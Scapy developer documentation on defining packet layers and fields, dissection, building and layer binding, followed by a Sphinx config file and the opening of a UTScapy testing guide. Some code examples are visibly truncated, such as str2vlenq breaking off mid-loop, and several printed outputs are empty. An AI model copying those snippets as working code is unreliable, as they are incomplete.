``p[TCP]`` returns the ``TCP`` and followings layers. This is a shortcut for ``p.getlayer(TCP)``. .. note:: There is an optional argument (``nb``) which returns the ``nb`` th layer of required protocol. Let's put everything together now, playing with the ``TCP`` layer:: >>> tcp=p[TCP] >>> tcp.underlayer >> >>> tcp.payload As expected, ``tcp.underlayer`` points to the beginning of our IP packet, and ``tcp.payload`` to its payload. Building a new layer -------------------- .. index:: single: Layer VERY EASY! A layer is mainly a list of fields. Let's look at ``UDP`` definition:: class UDP(Packet): name = "UDP" fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] And you are done! There are many fields already defined for convenience, look at the doc``^W`` sources as Phil would say. So, defining a layer is simply gathering fields in a list. The goal is here to provide the efficient default values for each field so the user does not have to give them when he builds a packet. The main mechanism is based on the ``Field`` structure. Always keep in mind that a layer is just a little more than a list of fields, but not much more. Avoid whitespace in the name of any field. Whitespace will complicate assigning and reading values significantly down the road. So, to understanding how layers are working, one needs to look quickly at how the fields are handled. Manipulating packets == manipulating its fields ----------------------------------------------- .. index:: single: i2h() single: i2m() single: m2i() A field should be considered in different states: - ``i`` (nternal) : this is the way Scapy manipulates it. - ``m`` (achine) : this is where the truth is, that is the layer as it is on the network. - ``h`` (uman) : how the packet is displayed to our human eyes. This explains the mysterious methods ``i2h()``, ``i2m()``, ``m2i()`` and so on available in each field: they are conversion from one state to another, adapted to a specific use. Other special functions: - ``any2i()`` guess the input representation and returns the internal one. - ``i2repr()`` a nicer ``i2h()`` However, all these are "low level" functions. The functions adding or extracting a field to the current layer are: - ``addfield(self, pkt, s, val)``: copy the network representation of field ``val`` (belonging to layer ``pkt``) to the raw string packet ``s``:: class StrFixedLenField(StrField): def addfield(self, pkt, s, val): return s+struct.pack("%is"%self.length,self.i2m(pkt, val)) - ``getfield(self, pkt, s)``: extract from the raw packet ``s`` the field value belonging to layer ``pkt``. It returns a list, the 1st element is the raw packet string after having removed the extracted field, the second one is the extracted field itself in internal representation:: class StrFixedLenField(StrField): def getfield(self, pkt, s): return s[self.length:], self.m2i(pkt,s[:self.length]) When defining your own layer, you usually just need to define some ``*2*()`` methods, and sometimes also the ``addfield()`` and ``getfield()``. Example: variable length quantities ----------------------------------- There is way to represent integers on a variable length quantity often used in protocols, for instance when dealing with signal processing (e.g. MIDI). Each byte of the number is coded with the MSB set to 1, except the last byte. For instance, 0x123456 will be coded as 0xC8E856:: def vlenq2str(l): s = [] s.append( hex(l & 0x7F) ) l = l >> 7 while l>0: s.append( hex(0x80 | (l & 0x7F) ) ) l = l >> 7 s.reverse() return "".join(map(lambda x: chr(int(x, 16)) , s)) def str2vlenq(s=""): i = l = 0 while i>> f = FOO(data="A"*129) >>> f.show() ###[ FOO ]### len= None data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' Here, ``len`` is not yet computed and only the default value are displayed. This is the current internal representation of our layer. Let's force the computation now:: >>> f.show2() ###[ FOO ]### len= 129 data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The method ``show2()`` displays the fields with their values as they will be sent to the network, but in a human readable way, so we see ``len=129``. Last but not least, let us look now at the machine representation:: >>> str(f) '\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The first 2 bytes are ``\x81\x01``, which is 129 in this encoding. Dissecting ========== .. index:: dissecting Layers are only list of fields, but what is the glue between each field, and after, between each layer. These are the mysteries explain in this section. The basic stuff --------------- The core function for dissection is ``Packet.dissect()``:: def dissect(self, s): s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl,pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(Padding(pad)) When called, ``s`` is a string of bytes containing what is going to be dissected. ``self`` points to the current layer. :: >>> p=IP(b'A'*20)/TCP(b'B'*32) WARNING: bad dataofs (4). Assuming dataofs=5 >>> p >> ``Packet.dissect()`` is called 3 times: 1. to dissect the ``b'A'*20`` as an IPv4 header 2. to dissect the ``b'B'*32`` as a TCP header 3. and since there are still 12 bytes in the packet, they are dissected as "``Raw``" data (which is some kind of default layer type) For a given layer, everything is quite straightforward: - ``pre_dissect()`` is called to prepare the layer. - ``do_dissect()`` perform the real dissection of the layer. - ``post_dissection()`` is called when some updates are needed on the dissected inputs (e.g. deciphering, uncompressing, ... ) - ``extract_padding()`` is an important function which should be called by every layer containing its own size, so that it can tell apart in the payload what is really related to this layer and what will be considered as additional padding bytes. - ``do_dissect_payload()`` is the function in charge of dissecting the payload (if any). It is based on ``guess_payload_class()`` (see below). Once the type of the payload is known, the payload is bound to the current layer with this new type:: def do_dissect_payload(self, s): cls = self.guess_payload_class(s) p = cls(s, _internal=1, _underlayer=self) self.add_payload(p) At the end, all the layers in the packet are dissected, and glued together with their known types. Dissecting fields ----------------- The method with all the magic between a layer and its fields is ``do_dissect()``. If you have understood the different representations of a layer, you should understand that "dissecting" a layer is building each of its fields from the machine to the internal representation. Guess what? That is exactly what ``do_dissect()`` does:: def do_dissect(self, s): flist = self.fields_desc[:] flist.reverse() while s and flist: f = flist.pop() s,fval = f.getfield(self, s) self.fields[f] = fval return s So, it takes the raw string packet, and feed each field with it, as long as there are data or fields remaining:: >>> FOO("\xff\xff"+"B"*8) When writing ``FOO("\xff\xff"+"B"*8)``, it calls ``do_dissect()``. The first field is VarLenQField. Thus, it takes bytes as long as their MSB is set, thus until (and including) the first '``B``'. This mapping is done thanks to ``VarLenQField.getfield()`` and can be cross-checked:: >>> vlenq2str(2097090) '\xff\xffB' Then, the next field is extracted the same way, until 2097090 bytes are put in ``FOO.data`` (or less if 2097090 bytes are not available, as here). If there are some bytes left after the dissection of the current layer, it is mapped in the same way to the what the next is expected to be (``Raw`` by default):: >>> FOO("\x05"+"B"*8) > Hence, we need now to understand how layers are bound together. Binding layers -------------- One of the cool features with Scapy when dissecting layers is that is try to guess for us what the next layer is. The official way to link 2 layers is using ``bind_layers()``: For instance, if you have a class ``HTTP``, you may expect that all the packets coming from or going to port 80 will be decoded as such. This is simply done that way:: bind_layers( TCP, HTTP, sport=80 ) bind_layers( TCP, HTTP, dport=80 ) That's all folks! Now every packet related to port 80 will be associated to the layer ``HTTP``, whether it is read from a pcap file or received from the network. The ``guess_payload_class()`` way ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Sometimes, guessing the payload class is not as straightforward as defining a single port. For instance, it can depends on a value of a given byte in the current layer. The 2 needed methods are: - ``guess_payload_class()`` which must return the guessed class for the payload (next layer). By default, it uses links between classes that have been put in place by ``bind_layers()``. - ``default_payload_class()`` which returns the default value. This method defined in the class ``Packet`` returns ``Raw``, but it can be overloaded. For instance, decoding 802.11 changes depending on whether it is ciphered or not:: class Dot11(Packet): def guess_payload_class(self, payload): if self.FCfield & 0x40: return Dot11WEP else: return Packet.guess_payload_class(self, payload) Several comments are needed here: - this cannot be done using ``bind_layers()`` because the tests are supposed to be "``field==value``", but it is more complicated here as we test a single bit in the value of a field. - if the test fails, no assumption is made, and we plug back to the default guessing mechanisms calling ``Packet.guess_payload_class()`` Most of the time, defining a method ``guess_payload_class()`` is not a necessity as the same result can be obtained from ``bind_layers()``. Changing the default behavior ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If you do not like Scapy's behavior for a given layer, you can either change or disable it through the call to ``split_layers()``. For instance, if you do not want UDP/53 to be bound with ``DNS``, just add in your code: `` split_layers(UDP, DNS, sport=53) `` Now every packet with source port 53 will not be handled as DNS, but whatever you specify instead. Under the hood: putting everything together ------------------------------------------- In fact, each layer has a field payload_guess. When you use the bind_layers() way, it adds the defined next layers to that list. :: >>> p=TCP() >>> p.payload_guess [({'dport': 2000}, ), ({'sport': 2000}, ), ... )] Then, when it needs to guess the next layer class, it calls the default method ``Packet.guess_payload_class()``. This method runs through each element of the list payload_guess, each element being a tuple: - the 1st value is a field to test (``'dport': 2000``) - the 2nd value is the guessed class if it matches (``Skinny``) So, the default ``guess_payload_class()`` tries all element in the list, until one matches. If no element are found, it then calls ``default_payload_class()``. If you have redefined this method, then yours is called, otherwise, the default one is called, and ``Raw`` type is returned. ``Packet.guess_payload_class()`` - test what is in field ``guess_payload`` - call overloaded ``guess_payload_class()`` Building ======== Building a packet is as simple as building each layer. Then, some magic happens to glue everything. Let's do magic then. The basic stuff --------------- First thing to establish: what does "build" mean? As we have seen, a layer can be represented in different ways (human, internal, machine). Building means going to the machine format. Second thing to understand is ''when'' a layer is built. Answer is not that obvious, but as soon as you need the machine representation, the layers are built: when the packet is dropped on the network or written to a file, when it is converted as a string, ... In fact, machine representation should be regarded as a big string with the layers appended altogether. :: >>> p = IP()/TCP() >>> hexdump(p) 0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|..... 0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........ 0020 50 02 20 00 91 7C 00 00 P. ..|.. Calling ``str()`` builds the packet: - non instanced fields are set to their default value - lengths are updated automatically - checksums are computed - and so on. In fact, using ``str()`` rather than ``show2()`` or any other method is not a random choice as all the functions building the packet calls ``Packet.__str__()``. However, ``__str__()`` calls another method: ``build()``:: def __str__(self): return self.__iter__().next().build() What is important also to understand is that usually, you do not care about the machine representation, that is why the human and internal representations are here. So, the core method is ``build()`` (the code has been shortened to keep only the relevant parts):: def build(self,internal=0): pkt = self.do_build() pay = self.build_payload() p = self.post_build(pkt,pay) if not internal: pkt = self while pkt.haslayer(Padding): pkt = pkt.getlayer(Padding) p += pkt.load pkt = pkt.payload return p So, it starts by building the current layer, then the payload, and ``post_build()`` is called to update some late evaluated fields (like checksums). Last, the padding is added to the end of the packet. Of course, building a layer is the same as building each of its fields, and that is exactly what ``do_build()`` does. Building fields --------------- The building of each field of a layer is called in ``Packet.do_build()``:: def do_build(self): p="" for f in self.fields_desc: p = f.addfield(self, p, self.getfieldval(f)) return p The core function to build a field is ``addfield()``. It takes the internal view of the field and put it at the end of ``p``. Usually, this method calls ``i2m()`` and returns something like ``p.self.i2m(val)`` (where ``val=self.getfieldval(f)``). If ``val`` is set, then ``i2m()`` is just a matter of formatting the value the way it must be. For instance, if a byte is expected, ``struct.pack("B", val)`` is the right way to convert it. However, things are more complicated if ``val`` is not set, it means no default value was provided earlier, and thus the field needs to compute some "stuff" right now or later. "Right now" means thanks to ``i2m()``, if all pieces of information is available. For instance, if you have to handle a length until a certain delimiter. Ex: counting the length until a delimiter :: class XNumberField(FieldLenField): def __init__(self, name, default, sep="\r\n"): FieldLenField.__init__(self, name, default, fld) self.sep = sep def i2m(self, pkt, x): x = FieldLenField.i2m(self, pkt, x) return "%02x" % x def m2i(self, pkt, x): return int(x, 16) def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) def getfield(self, pkt, s): sep = s.find(self.sep) return s[sep:], self.m2i(pkt, s[:sep]) In this example, in ``i2m()``, if ``x`` has already a value, it is converted to its hexadecimal value. If no value is given, a length of "0" is returned. The glue is provided by ``Packet.do_build()`` which calls ``Field.addfield()`` for each field in the layer, which in turn calls ``Field.i2m()``: the layer is built IF a value was available. Handling default values: ``post_build`` --------------------------------------- A default value for a given field is sometimes either not known or impossible to compute when the fields are put together. For instance, if we used a ``XNumberField`` as defined previously in a layer, we expect it to be set to a given value when the packet is built. However, nothing is returned by ``i2m()`` if it is not set. The answer to this problem is ``Packet.post_build()``. When this method is called, the packet is already built, but some fields still need to be computed. This is typically what is required to compute checksums or lengths. In fact, this is required each time a field's value depends on something which is not in the current So, let us assume we have a packet with a ``XNumberField``, and have a look to its building process:: class Foo(Packet): fields_desc = [ ByteField("type", 0), XNumberField("len", None, "\r\n"), StrFixedLenField("sep", "\r\n", 2) ] def post_build(self, p, pay): if self.len is None and pay: l = len(pay) p = p[:1] + hex(l)[2:]+ p[2:] return p+pay When ``post_build()`` is called, ``p`` is the current layer, ``pay`` the payload, that is what has already been built. We want our length to be the full length of the data put after the separator, so we add its computation in ``post_build()``. :: >>> p = Foo()/("X"*32) >>> p.show2() ###[ Foo ]### type= 0 len= 32 sep= '\r\n' ###[ Raw ]### load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' ``len`` is correctly computed now:: >>> hexdump(str(p)) 0000 00 32 30 0D 0A 58 58 58 58 58 58 58 58 58 58 58 .20..XXXXXXXXXXX 0010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 0020 58 58 58 58 58 XXXXX And the machine representation is the expected one. Handling default values: automatic computation ---------------------------------------------- As we have previously seen, the dissection mechanism is built upon the links between the layers created by the programmer. However, it can also be used during the building process. In the layer ``Foo()``, our first byte is the type, which defines what comes next, e.g. if ``type=0``, next layer is ``Bar0``, if it is 1, next layer is ``Bar1``, and so on. We would like then this field to be set automatically according to what comes next. :: class Bar1(Packet): fields_desc = [ IntField("val", 0), ] class Bar2(Packet): fields_desc = [ IPField("addr", "127.0.0.1") ] If we use these classes with nothing else, we will have trouble when dissecting the packets as nothing binds Foo layer with the multiple ``Bar*`` even when we explicitly build the packet through the call to ``show2()``:: >>> p = Foo()/Bar1(val=1337) >>> p > >>> p.show2() ###[ Foo ]### type= 0 len= 4 sep= '\r\n' ###[ Raw ]### load= '\x00\x00\x059' Problems: 1. ``type`` is still equal to 0 while we wanted it to be automatically set to 1. We could of course have built ``p`` with ``p = Foo(type=1)/Bar0(val=1337)`` but this is not very convenient. 2. the packet is badly dissected as ``Bar1`` is regarded as ``Raw``. This is because no links have been set between ``Foo()`` and ``Bar*()``. In order to understand what we should have done to obtain the proper behavior, we must look at how the layers are assembled. When two independent packets instances ``Foo()`` and ``Bar1(val=1337)`` are compounded with the '/' operator, it results in a new packet where the two previous instances are cloned (i.e. are now two distinct objects structurally different, but holding the same values):: def __div__(self, other): if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif type(other) is str: return self/Raw(load=other) The right hand side of the operator becomes the payload of the left hand side. This is performed through the call to ``add_payload()``. Finally, the new packet is returned. Note: we can observe that if other isn't a ``Packet`` but a string, the ``Raw`` class is instantiated to form the payload. Like in this example:: >>> IP()/"AAAA" > Well, what ``add_payload()`` should implement? Just a link between two packets? Not only, in our case this method will appropriately set the correct value to ``type``. Instinctively we feel that the upper layer (the right of '/') can gather the values to set the fields to the lower layer (the left of '/'). Like previously explained, there is a convenient mechanism to specify the bindings in both directions between two neighbouring layers. Once again, these information must be provided to ``bind_layers()``, which will internally call ``bind_top_down()`` in charge to aggregate the fields to overload. In our case what we needs to specify is:: bind_layers( Foo, Bar1, {'type':1} ) bind_layers( Foo, Bar2, {'type':2} ) Then, ``add_payload()`` iterates over the ``overload_fields`` of the upper packet (the payload), get the fields associated to the lower packet (by its type) and insert them in ``overloaded_fields``. For now, when the value of this field will be requested, ``getfieldval()`` will return the value inserted in ``overloaded_fields``. The fields are dispatched between three dictionaries: - ``fields``: fields whose the value have been explicitly set, like ``pdst`` in TCP (``pdst='42'``) - ``overloaded_fields``: overloaded fields - ``default_fields``: all the fields with their default value (these fields are initialized according to ``fields_desc`` by the constructor by calling ``init_fields()`` ). In the following code we can observe how a field is selected and its value returned:: def getfieldval(self, attr): for f in self.fields, self.overloaded_fields, self.default_fields: if f.has_key(attr): return f[attr] return self.payload.getfieldval(attr) Fields inserted in ``fields`` have the higher priority, then ``overloaded_fields``, then finally ``default_fields``. Hence, if the field ``type`` is set in ``overloaded_fields``, its value will be returned instead of the value contained in ``default_fields``. We are now able to understand all the magic behind it! :: >>> p = Foo()/Bar1(val=0x1337) >>> p > >>> p.show() ###[ Foo ]### type= 1 len= 4 sep= '\r\n' ###[ Bar1 ]### val= 4919 Our 2 problems have been solved without us doing much: so good to be lazy :) Under the hood: putting everything together ------------------------------------------- Last but not least, it is very useful to understand when each function is called when a packet is built:: >>> hexdump(str(p)) Packet.str=Foo Packet.iter=Foo Packet.iter=Bar1 Packet.build=Foo Packet.build=Bar1 Packet.post_build=Bar1 Packet.post_build=Foo As you can see, it first runs through the list of each field, and then build them starting from the beginning. Once all layers have been built, it then calls ``post_build()`` starting from the end. Fields ====== .. index:: single: fields Here's a list of fields that Scapy supports out of the box: Simple datatypes ---------------- Legend: - ``X`` - hexadecimal representation - ``LE`` - little endian (default is big endian = network byte order) - ``Signed`` - signed (default is unsigned) :: ByteField # one byte XByteField ShortField # two bytes LEShortField XShortField X3BytesField # three bytes (in hexadecimal) IntField # four bytes SignedIntField LEIntField LESignedIntField XIntField LongField XLongField LELongField IEEEFloatField IEEEDoubleField BCDFloatField # binary coded decimal BitField XBitField BitFieldLenField # BitField specifying a length (used in RTP) FlagsField FloatField Enumerations ------------ Possible field values are taken from a given enumeration (list, dictionary, ...) e.g.:: ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}) :: EnumField(name, default, enum, fmt = "H") CharEnumField BitEnumField ShortEnumField LEShortEnumField ByteEnumField IntEnumField SignedIntEnumField LEIntEnumField XShortEnumField Strings ------- :: StrField(name, default, fmt="H", remain=0, shift=0) StrLenField(name, default, fld=None, length_from=None, shift=0): StrFixedLenField StrNullField StrStopField Lists and lengths ----------------- :: FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None) # A list assembled and dissected with many times the same field type # field: instance of the field that will be used to assemble and disassemble a list item # length_from: name of the FieldLenField holding the list length FieldLenField # holds the list length of a FieldList field LEFieldLenField LenField # contains len(pkt.payload) PacketField # holds packets PacketLenField # used e.g. in ISAKMP_payload_Proposal PacketListField Variable length fields ^^^^^^^^^^^^^^^^^^^^^^ This is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let's call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don't have to fill lenfield, that will deduce its value directly from varfield value. Problems arise whe you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must substract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words. The length field ~~~~~~~~~~~~~~~~ First, a lenfield is declared using ``FieldLenField`` (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the ``length_of`` parameter or the ``count_of`` parameter. The ``count_of`` parameter has a meaning only when varfield is a field that holds a list (``PacketListField`` or ``FieldListField``). The value will be the name of the varfield, as a string. According to which parameter is used the ``i2len()`` or ``i2count()`` method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. The function provided by ``adjust`` will be applied on 2 arguments: the packet instance and the value returned by ``i2len()`` or ``i2count()``. By default, adjust does nothing:: adjust=lambda pkt,x: x For instance, if ``the_varfield`` is a list :: FieldLenField("the_lenfield", None, count_of="the_varfield") or if the length is in 16bits words:: FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2) The variable length field ~~~~~~~~~~~~~~~~~~~~~~~~~ A varfield can be of type ``StrLenField``, ``PacketLenField``, ``PacketListField``, ``FieldListField``, ... The lengths of the first two is deduced from a lenfield when dissected. The link is done using the ``length_from`` parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance:: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield) or :: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12) For the ``PacketListField`` and ``FieldListField`` and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance:: FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) Examples ^^^^^^^^ :: class TestSLF(Packet): fields_desc=[ FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt:pkt.len) ] class TestPLF(Packet): fields_desc=[ FieldLenField("len", None, count_of="plist"), PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ] class TestFLF(Packet): fields_desc=[ FieldLenField("the_lenfield", None, count_of="the_varfield"), FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) ] class TestPkt(Packet): fields_desc = [ ByteField("f1",65), ShortField("f2",0x4244) ] def extract_padding(self, p): return "", p class TestPLF2(Packet): fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2), FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2), PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ] Test the ``FieldListField`` class:: >>> TestFLF(b'\x00\x02ABCDEFGHIJKL') > Special ------- :: Emph # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")), ActionField ConditionalField(fld, cond) # Wrapper to make field 'fld' only appear if # function 'cond' evals to True, e.g. # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1) PadField(fld, align, padwith=None) # Add bytes after the proxified field so that it ends at # the specified alignment from its beginning TCP/IP ------ :: IPField SourceIPField IPoptionsField TCPOptionsField MACField DestMACField(MACField) SourceMACField(MACField) ARPSourceMACField(MACField) ICMPTimeStampField 802.11 ------ :: Dot11AddrMACField Dot11Addr2MACField Dot11Addr3MACField Dot11Addr4MACField Dot11SCField DNS --- :: DNSStrField DNSRRCountField DNSRRField DNSQRField RDataField RDLenField ASN.1 ----- :: ASN1F_element ASN1F_field ASN1F_INTEGER ASN1F_enum_INTEGER ASN1F_STRING ASN1F_OID ASN1F_SEQUENCE ASN1F_SEQUENCE_OF ASN1F_PACKET ASN1F_CHOICE Other protocols --------------- :: NetBIOSNameField # NetBIOS (StrFixedLenField) ISAKMPTransformSetField # ISAKMP (StrLenField) TimeStampField # NTP (BitField) scapy-0.23/doc/scapy/conf.py000066400000000000000000000131131320561231000157300ustar00rootroot00000000000000# -*- coding: utf-8 -*- # # Scapy documentation build configuration file, created by # sphinx-quickstart on Mon Sep 8 19:37:39 2008. # # This file is execfile()d with the current directory set to its containing dir. # # The contents of this file are pickled, so don't put values in the namespace # that aren't pickleable (module imports are okay, they're removed automatically). # # All configuration values have a default value; values that are commented out # serve to show the default value. import sys, os # If your extensions are in another directory, add it here. If the directory # is relative to the documentation root, use os.path.abspath to make it # absolute, like shown here. #sys.path.append(os.path.abspath('some/directory')) # General configuration # --------------------- # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = [] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General substitutions. project = 'Scapy' copyright = '2008, 2009 Philippe Biondi and the Scapy community' # The default replacements for |version| and |release|, also used in various # other places throughout the built documents. # # The short X.Y version. version = '3.0.0' # The full version, including alpha/beta/rc tags. release = '3.0.0' # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. today_fmt = '%B %d, %Y' # List of documents that shouldn't be included in the build. #unused_docs = [] # List of directories, relative to source directories, that shouldn't be searched # for source files. #exclude_dirs = [] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # Options for HTML output # ----------------------- # The style sheet to use for HTML and HTML Help pages. A file of that name # must exist either in Sphinx' static/ path, or in one of the custom paths # given in html_static_path. html_style = 'default.css' # The name for this set of Sphinx documents. If None, it defaults to # " v documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (within the static path) to place at the top of # the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. html_use_modindex = False # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, the reST sources are included in the HTML build as _sources/. #html_copy_source = True # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = '' # Output file base name for HTML help builder. htmlhelp_basename = 'Scapydoc' # Options for LaTeX output # ------------------------ # The paper size ('letter' or 'a4'). latex_paper_size = 'a4' # The font size ('10pt', '11pt' or '12pt'). latex_font_size = '11pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, document class [howto/manual]). latex_documents = [ ('index', 'Scapy.tex', 'Scapy Documentation', 'Philippe Biondi and the Scapy community', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # Additional stuff for the LaTeX preamble. #latex_preamble = '' # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. latex_use_modindex = False scapy-0.23/doc/scapy/development.rst000066400000000000000000000245051320561231000175140ustar00rootroot00000000000000***************** Scapy development ***************** .. note:: This section is only partly updated for scapy3k yet. Code examples may not work directly. Project organization ==================== Scapy3k development uses the `GitHub repository `_ Scapy3k is not synchronized with scapy v2.x repository at http://hg.secdev.org/scapy/. Changes in one project reflect on the other only if somebody manually transfers the change. How to contribute ================= * Found a bug in Scapy3k? `Add a ticket `_. * Improve this documentation. * Program a new layer and create a pull request. * Contribute new regression tests. * Upload packet samples for new protocols. Testing with UTScapy ==================== What is UTScapy? ---------------- UTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX. Three basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within a desired grouping. For each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file. Syntax of a Test Campaign ------------------------- Table 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued. ================ ================= Syntax Specifier Definition ================ ================= ‘%’ Give the test campaign's name. ‘+’ Announce a new test set. ‘=’ Announce a new unit test. ‘~’ Announce keywords for the current unit test. ‘*’ Denotes a comment that will be included in the report. ‘#’ Testcase annotations that are discarded by the interpreter. ================ ================= Table 1 - UTScapy Syntax Specifiers Comments placed in the test report have a context. Each comment will be associated to the last defined test container - be it a individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before definition of the set’s first unit test. The generic format for a test campaign is shown in the following table:: % Test Campaign Name * Comment describing this campaign + Test Set 1 * comments for test set 1 = Unit Test 1 ~ keywords * Comments for unit test 1 # Python statements follow a = 1 print(a) a == 1 Python statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (``interact``). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during development of a test campaign, the user may wish to mark new tests under development with the keyword “debug”. Once the tests run successfully to their desired conclusion, the keyword “debug” could be removed. Keywords such as “regression” or “limited” could be used as well. It is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed. The syntax for UTScapy is shown in Table 3 - UTScapy command line syntax:: [root@localhost scapy]# ./UTscapy.py –h Usage: 